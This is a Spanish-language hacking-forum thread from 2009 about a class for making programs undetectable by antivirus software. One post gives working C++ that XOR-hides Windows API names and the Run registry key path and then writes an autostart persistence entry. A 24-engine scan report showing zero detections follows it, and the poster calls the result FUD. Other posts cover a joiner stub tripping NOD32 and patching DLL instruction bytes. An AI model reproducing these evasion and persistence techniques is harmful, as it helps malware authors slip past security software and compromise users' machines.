Clase EncryptApi (Haz tus códigos indetectables fácilmente)

Iniciado por ~~, 16 Mayo 2009, 17:02 PM

0 Miembros y 3 Visitantes están viendo este tema.

mrscript

hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas

Nork

Cita de: mrscript en 27 Mayo 2009, 05:42 AM
hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas

Estás utilizando también la función XOR para cifrar las cadenas?
C' Est La Vie

Arkangel_0x7C5

#12
Eon, modifike tu clase para que funcionara con el MinGW

Aqui os la dejo. Pola en el primer post

Saludos

[Zero]

Cita de: mrscript en 27 Mayo 2009, 05:42 AM
hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas

Nod32 está mejorando enormemente la heurística a archivos, me jugaría algo a que te detecta la cadena CurrentVersion\Run aún estando cifrada, prueba a compilar con otra cadena y mira si te lo detecta. Yo tube problemas al hacer el stub del little joiner, al poner en un dword el tamaño del stub nod32 me lo detectaba, y ya podía pasarle un xor a ese número, poner otro y sumarle la diferencia o lo que fuera que me lo seguía detectando  :¬¬.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Nork

Cita de: Arcangel_0x7C5 en 27 Mayo 2009, 14:44 PM
Eon, modifike tu clase para que funcionara con el MinGW

Aqui os la dejo. Pola en el primer post

Saludos

Yo no entiendo por que me da un error de memoria  :-\ Si uso Dev C++ y también utiliza gcc
C' Est La Vie

Arkangel_0x7C5


~~

Añadido el link a tu Arcangel_0x7C5, gracias, me consta que unos cuanto usuarios del foro le sacarán buen partido  ;)

mrscript, un gusto volver a verte activo por el foro, en cuanto a tu duda... Pues algo estás haciendo tu mal en asm, mira un código en C++ que te he hecho para el ejemplo (un poco enchorizado, pero se entiende):

Código (cpp) [Seleccionar]

#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++)
str[n] ^= clave[n%tamClave];
}

void main()
{
const char key[] = "a1b2c3";
const int  tamKey = 6;

// advapi32.dll
char strAdvapi32[] = { 0x0, 0x55, 0x14, 0x53, 0x13, 0x5a, 0x52, 0x3, 0x4c, 0x56, 0xf, 0x5f, 0x61 };
// RegOpenKeyExA
char strRegOpenKeyEx[] = { 0x33, 0x54, 0x5, 0x7d, 0x13, 0x56, 0xf, 0x7a, 0x7, 0x4b, 0x26, 0x4b, 0x20, 0x31 };
// RegSetValueExA
char strRegSetValueEx[] = { 0x33, 0x54, 0x5, 0x61, 0x6, 0x47, 0x37, 0x50, 0xe, 0x47, 0x6, 0x76, 0x19, 0x70, 0x62 };
// RegCloseKey
char strRegCloseKey[] = { 0x33, 0x54, 0x5, 0x71, 0xf, 0x5c, 0x12, 0x54, 0x29, 0x57, 0x1a, 0x33 };

// Software\Microsoft\Windows\CurrentVersion\Run
char strRutaReg[] = { 0x32, 0x5e, 0x4, 0x46, 0x14, 0x52, 0x13, 0x54, 0x3e, 0x7f, 0xa, 0x50, 0x13, 0x5e,
                 0x11, 0x5d, 0x5, 0x47, 0x3d, 0x66, 0xb, 0x5c, 0x7, 0x5c, 0x16, 0x42, 0x3e, 0x71,
     0x16, 0x41, 0x13, 0x54, 0xc, 0x46, 0x35, 0x56, 0x13, 0x42, 0xb, 0x5d, 0xd, 0x6f,
 0x33, 0x44, 0xc, 0x32 };


// desciframos
xor(strAdvapi32, key, sizeof(strAdvapi32)-1, tamKey);
xor(strRegOpenKeyEx, key, sizeof(strRegOpenKeyEx)-1, tamKey);
xor(strRegSetValueEx, key, sizeof(strRegSetValueEx)-1, tamKey);
xor(strRegCloseKey, key, sizeof(strRegCloseKey)-1, tamKey);
xor(strRutaReg, key, sizeof(strRutaReg)-1, tamKey);

// Apis
EncryptApi<LONG>  myRegOpenKeyEx  (strRegOpenKeyEx,  strAdvapi32, 5);
EncryptApi<LONG>  myRegSetValueEx (strRegSetValueEx, strAdvapi32, 2);
EncryptApi<LONG>  myRegCloseKey   (strRegCloseKey,   strAdvapi32, 5);

// Código
HKEY hkey;
myRegOpenKeyEx(5, HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
myRegSetValueEx(6, hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
myRegCloseKey(1, hkey);

/*
Código sin cifrar:
---------------------
HKEY hkey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
RegSetValueExA(hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
RegCloseKey(hkey);*/
}


Resultados:

File Info

Report generated: 28.5.2009 at 0.46.24 (GMT 1)
Filename: registro.exe
File size: 9 KB
MD5 Hash: E35F0136E24CBCD98EDE8B5C65A2D5CD
SHA1 Hash: EB94157F26C96ABA1C02ACD4BC08DF6FE41E4249
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!  
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!  
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!  
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!    
Virus Buster - Nothing found!

Scan report generated by  
NoVirusThanks.org



Puedes escanearlo en esa web marcando la opción de no distribur sin problemas... Como ves te lo deja FUD y crea con éxito una clave en HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Si quieres pegha la traducción a asm que has hecho del método a ver si le vemos la diferencia :P
Salu2

mrscript

Reescribire de nuevo la  funcion a ver si tenia algun error

Nork

Cita de: Arcangel_0x7C5 en 27 Mayo 2009, 17:18 PM
upp, me equivoque al subirlo. arreglado

Sí!!! Arcangel_0x7C5 ahora sí ;-) Excelente aporte! E0N sigue dándole caña a éste subforo  :P


S4ludos!
C' Est La Vie

tyldan

#19
[quote author=E0N link=topic=255039.msg1234972#msg1234972
Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.
[/quote]

Alguien intento abrir una dll?

La mayoria de los debuggers que tengo no pueden abrir las dll  :-\

UPDATE: Tengo una version vieja de OllyDB, por eso no me admite las Dlls, col la nueva sirve  ;-)